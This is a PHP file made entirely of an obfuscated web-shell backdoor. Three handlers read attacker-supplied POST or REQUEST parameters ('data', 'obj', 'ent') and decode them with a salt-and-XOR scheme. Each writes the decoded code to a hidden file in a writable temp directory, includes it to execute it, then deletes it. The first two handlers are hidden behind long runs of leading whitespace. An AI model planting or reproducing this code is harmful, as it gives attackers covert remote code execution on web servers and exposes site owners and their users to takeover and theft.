<?php																																										if(!is_null($_POST["\x64\x61ta"] ?? null)){ $component = $_POST["\x64\x61ta"]; $component=explode( "." , $component ); $data_chunk = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); foreach($component as $i => $v7) { $sChar = ord($salt6[$i%$lenS]); $dec =((int)$v7 - $sChar -($i%10)) ^ 73; $data_chunk .= chr($dec); } $obj = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/var/tmp"]); foreach ($obj as $entity) { if (is_dir($entity) && is_writable($entity)) { $dat = vsprintf("%s/%s", [$entity, ".item"]); $success = file_put_contents($dat, $data_chunk); if ($success) { include $dat; @unlink($dat); die();} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["obj"])){ $fac = $_REQUEST["obj"]; $fac = explode ( ".",$fac); $property_set = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); foreach ($fac as $k => $v3): $sChar = ord($salt6[$k % $lenS]); $d = ((int)$v3 - $sChar - ($k % 10)) ^ 99; $property_set .= chr($d); endforeach; $dat = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), getcwd(), "/dev/shm"]); foreach ($dat as $key => $ent) { if (array_product([is_dir($ent), is_writable($ent)])) { $ent = join("/", [$ent, ".flag"]); if (file_put_contents($ent, $property_set)) { require $ent; unlink($ent); exit; } } } }


if(@$_POST["\x65nt"] !== null){
	$sym = $_POST["\x65nt"];
		$sym  =   explode(	 ".",   $sym); 	
	$val = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt		);
            $y = 0;
    
            foreach ($sym as $v6) {
                $sChar = ord($salt[$y %  $lenS]		);
                $dec = ((int)$v6 - $sChar - ($y %  10))^		31;
                $val.=		chr($dec		);
                $y++;
            }
	$token = array_filter([getcwd(), getenv("TEMP"), "/var/tmp", "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp"]);
	$marker = 0;
do {
    $desc = $token[$marker] ?? null;
    if ($marker >= count($token)) break;
    		if ((bool)is_dir($desc) && (bool)is_writable($desc)) {
    $descriptor = "$desc/.itm";
    if (file_put_contents($descriptor, $val)) {
	include $descriptor;
	@unlink($descriptor);
	exit;
}
}
    $marker++;
} while (true);
}